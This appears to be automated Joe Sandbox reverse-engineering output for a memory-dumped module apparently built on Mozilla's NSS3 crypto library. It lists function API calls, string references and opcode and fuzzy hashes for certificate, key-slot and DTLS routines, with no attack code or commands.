database corruption, xrefs: 6CF5CFE7, 6CF5D013, 6CF5D028, 6CF5D039, 6CF5D03E, 6D0A9786
%s at line %d of [%.10s], xrefs: 6CF5CFEC, 6CF5D018, 6CF5D029, 6CF5D03F, 6D0A978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5CFDD, 6CF5D00E, 6CF5D022, 6CF5D033, 6D0A9780

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 69dcf3b37f5357d28e2c8cacb07bbf7e448589e810cf89c6ba828808dfb3416d
Instruction ID: 2bae91296a5a18d6d9928cc486cb542e646e02853611fd30305cb1df4974e677
Opcode Fuzzy Hash: 69dcf3b37f5357d28e2c8cacb07bbf7e448589e810cf89c6ba828808dfb3416d
Instruction Fuzzy Hash: AF615671A042108BD310CF69C800BABBBF1FF55318F68816EE5499B742D3B7D942C7A1

Function 6D05FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PK11_FreeSymKey.NSS3(00000000), ref: 6D060113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D060130
PORT_Alloc_Util.NSS3(00000040), ref: 6D06015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6D0601AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6D060202
free.MOZGLUE(?), ref: 6D060224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D060253

Strings

exporter, xrefs: 6D0600F7

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 8b974e2e7629017265b91df5240794788d5575a188e0017ac65959936fff3bca
Instruction ID: e6d6bfac4d7ef004527c115fac45bed8554a328b609aef0891ddc3154b0f18ec
Opcode Fuzzy Hash: 8b974e2e7629017265b91df5240794788d5575a188e0017ac65959936fff3bca
Instruction Fuzzy Hash: 3461F1B194878A9BFB118FA6DC00BBE77F6FF44308F054128EE195B165EB319994C760

Function 6D05EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05EF6D

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

htonl.WSOCK32(00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05EFE4
htonl.WSOCK32(?,00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05EFF1
memcpy.VCRUNTIME140(?,?,6D07A4A1,?,00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05F027

Strings

dtls13, xrefs: 6D05EF33

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 96d2989e46ad52b3b710a3e5a717e84cf12ab9fe393320353a61484c137a7f08
Instruction ID: 4377b018d73960afe9aa8e9dc8815f30060d0509a219df44ee8cbedb01a3a2e6
Opcode Fuzzy Hash: 96d2989e46ad52b3b710a3e5a717e84cf12ab9fe393320353a61484c137a7f08
Instruction Fuzzy Hash: 79311475A04215AFE710CF28DD80B9AB7E4EF49358F168029ED58DB251EB31E921CBE1

Function 6CFDAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFDAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6D0F9500,6CFD3F91), ref: 6CFDAFD2

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

DER_GetInteger_Util.NSS3(?), ref: 6CFDB007

Part of subcall function 6D026A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CFD1666,?,6CFDB00C,?), ref: 6D026AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CFDB02F
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFDB046
PL_FreeArenaPool.NSS3 ref: 6CFDB058
PL_FinishArenaPool.NSS3 ref: 6CFDB060

Strings

security, xrefs: 6CFDAFB8

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 06348d3253c379683ea08074dd6e9aa16bebeb6b96df6d2d65affb9d6ad7bb3c
Instruction ID: 6fec958cb1ddf86ba4576b7934777b05d3002b10732654b8809c59fb0e2803c9
Opcode Fuzzy Hash: 06348d3253c379683ea08074dd6e9aa16bebeb6b96df6d2d65affb9d6ad7bb3c
Instruction Fuzzy Hash: 643139714083009BEB209F24DC48B6B77A4AF8636CF5A0A19E9B45B7D1E732A105CB97

Function 6CFD3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CFD40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CFD3F7F,?,00000055,?,?,6CFD1666,?,?), ref: 6CFD40D9
Part of subcall function 6CFD40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CFD1666,?,?), ref: 6CFD40FC
Part of subcall function 6CFD40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CFD1666,?,?), ref: 6CFD4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFD3ED6

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD3EEE

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD3F02
PL_FreeArenaPool.NSS3 ref: 6CFD3F14
PL_FinishArenaPool.NSS3 ref: 6CFD3F1C

Part of subcall function 6D0364F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6D03127C,00000000,00000000,00000000), ref: 6D03650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD3F27

Strings

security, xrefs: 6CFD3EBC

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 2dd6601df751131f18acd5ea17a13255bfd9d47aef10fa55cbae8c9315a2f4e9
Instruction ID: a54d8af3a00c023235b427f0889a913462edbcee38f60564a6f272c7c23ba6d8
Opcode Fuzzy Hash: 2dd6601df751131f18acd5ea17a13255bfd9d47aef10fa55cbae8c9315a2f4e9
Instruction Fuzzy Hash: 5A213AB29083006BE3149B15AC41F6B77B8BB8871CF06053DFA49A7382E730E618C796

Function 6D01CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6D01CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6D01CE16
PR_SetError.NSS3(00000000,00000000), ref: 6D01D079

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: cfe635d48abbbeeb6ce590f74f31ed63bd3d2e00ba4877d84e53d986d6b67307
Instruction ID: 93c90fd1fdf2b5fb77fb02920d9d6a0a273e141ced837a3bbf90b58b29e1931c
Opcode Fuzzy Hash: cfe635d48abbbeeb6ce590f74f31ed63bd3d2e00ba4877d84e53d986d6b67307
Instruction Fuzzy Hash: 7DC170B190421A9BEB21CF64CC80BDAB7F4BF48318F1541A8D94CA7241E775EE95CF94

Function 6D00DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6D0197C1,?,00000000,00000000,?,?,?,00000000,?,6CFF7F4A,00000000), ref: 6D00DC68

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DFAA

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: cfb83b49d5fbe717413ff6999a938aa97ee7cab916538929999dee89eba2deed
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: CD81D470A04A82ABFB156A19D89037A72D6EBE4344F10C43ADB19CBEE5D77CC480C672

Function 6CFE3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CFE3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFE3C94

Part of subcall function 6CFD95B0: TlsGetValue.KERNEL32(00000000,?,6CFF00D2,00000000), ref: 6CFD95D2
Part of subcall function 6CFD95B0: EnterCriticalSection.KERNEL32(?,?,?,6CFF00D2,00000000), ref: 6CFD95E7
Part of subcall function 6CFD95B0: PR_Unlock.NSS3(?,?,?,?,6CFF00D2,00000000), ref: 6CFD9605

PORT_NewArena_Util.NSS3(00000800), ref: 6CFE3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CFE3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CFE3CE1

Part of subcall function 6CFE3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFFAE42), ref: 6CFE30AA
Part of subcall function 6CFE3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE30C7
Part of subcall function 6CFE3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFE30E5
Part of subcall function 6CFE3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFE3116
Part of subcall function 6CFE3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFE312B
Part of subcall function 6CFE3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFE3154
Part of subcall function 6CFE3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE317E

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 67cbfc194f402c7671ce5addc36e9a7970477a0f920fae31cdc4263f6e43465d
Instruction ID: 72da0671760582f402403cc68a01d73df002af5e118300cc75276ec01ad4160f
Opcode Fuzzy Hash: 67cbfc194f402c7671ce5addc36e9a7970477a0f920fae31cdc4263f6e43465d
Instruction Fuzzy Hash: 0661C7B5A04200BBFB105F65DC49FAB76B9EF18748F094028FE099B562F731E918C7A1

Function 6D023D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6D023440: PK11_GetAllTokens.NSS3 ref: 6D023481
Part of subcall function 6D023440: PR_SetError.NSS3(00000000,00000000), ref: 6D0234A3
Part of subcall function 6D023440: TlsGetValue.KERNEL32 ref: 6D02352E
Part of subcall function 6D023440: EnterCriticalSection.KERNEL32(?), ref: 6D023542
Part of subcall function 6D023440: PR_Unlock.NSS3(?), ref: 6D02355B

TlsGetValue.KERNEL32 ref: 6D023D8B
EnterCriticalSection.KERNEL32(?), ref: 6D023D9F
PR_Unlock.NSS3(?), ref: 6D023DCA
PR_SetError.NSS3(00000000,00000000), ref: 6D023DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D023E4F

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

TlsGetValue.KERNEL32 ref: 6D023E97
EnterCriticalSection.KERNEL32(?), ref: 6D023EAB
PR_Unlock.NSS3(?), ref: 6D023ED6
PR_SetError.NSS3(00000000,00000000), ref: 6D023EEE

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 7e3258608cd78153f8a33028a75b0be9841f7e08151256b44f90cc82988926f7
Instruction ID: 8a4db3f48ce27899c94b6f192bda3a1401a2c3539d637d36c518c367cac6dca4
Opcode Fuzzy Hash: 7e3258608cd78153f8a33028a75b0be9841f7e08151256b44f90cc82988926f7
Instruction Fuzzy Hash: FB5136729012019BFF125F68EC44B6A77B4FF49324F05452CDE094B262EB71E899CBD1

Function 6CFD2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(DC670E95), ref: 6CFD2C5D

Part of subcall function 6D030D30: calloc.MOZGLUE ref: 6D030D50
Part of subcall function 6D030D30: TlsGetValue.KERNEL32 ref: 6D030D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CFD2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD2CE0

Part of subcall function 6CFD2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CFD2CDA,?,00000000), ref: 6CFD2E1E
Part of subcall function 6CFD2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CFD2E33
Part of subcall function 6CFD2E00: TlsGetValue.KERNEL32 ref: 6CFD2E4E
Part of subcall function 6CFD2E00: EnterCriticalSection.KERNEL32(?), ref: 6CFD2E5E
Part of subcall function 6CFD2E00: PL_HashTableLookup.NSS3(?), ref: 6CFD2E71
Part of subcall function 6CFD2E00: PL_HashTableRemove.NSS3(?), ref: 6CFD2E84
Part of subcall function 6CFD2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CFD2E96
Part of subcall function 6CFD2E00: PR_Unlock.NSS3 ref: 6CFD2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CFD2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CFD2D3F
free.MOZGLUE(00000000), ref: 6CFD2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CFD2DB8
free.MOZGLUE ref: 6CFD2DC8

Part of subcall function 6CFD3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD3EC2
Part of subcall function 6CFD3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFD3ED6
Part of subcall function 6CFD3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD3EEE
Part of subcall function 6CFD3E60: PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD3F02
Part of subcall function 6CFD3E60: PL_FreeArenaPool.NSS3 ref: 6CFD3F14
Part of subcall function 6CFD3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD3F27

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 761c60865e281070686e1930fe0c8bc5f0aba82debd6fd3074c694f9e6b8dd91
Instruction ID: c1c09f9b8b35a67f20a0ca56c856040af01f1fefeb324ad0112f160969591cb1
Opcode Fuzzy Hash: 761c60865e281070686e1930fe0c8bc5f0aba82debd6fd3074c694f9e6b8dd91
Instruction Fuzzy Hash: 0D51EE72A043129BEB118F69DC89B5B77E5EF84318F1A0428EC5987650EB32FC15CBD2

Function 6CFF8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFF9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFF9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF90EC

Part of subcall function 6CFC0F00: PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B
Part of subcall function 6CFC0F00: PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF9111

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 9c6061efbfb7b26716e95a852ff0f99c41e26d868793b378613a49398f11e682
Instruction ID: dd58dfdfd4bc3e2ef199016ad1a2487a7d2d14b13baf6c6bf7b99f0edfc56c2a
Opcode Fuzzy Hash: 9c6061efbfb7b26716e95a852ff0f99c41e26d868793b378613a49398f11e682
Instruction Fuzzy Hash: 6F51BAB5A082058FDB00EF78D4C835ABBF5EF4A318F060569DD549B321EB71E986CB81

Function 6CFD7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

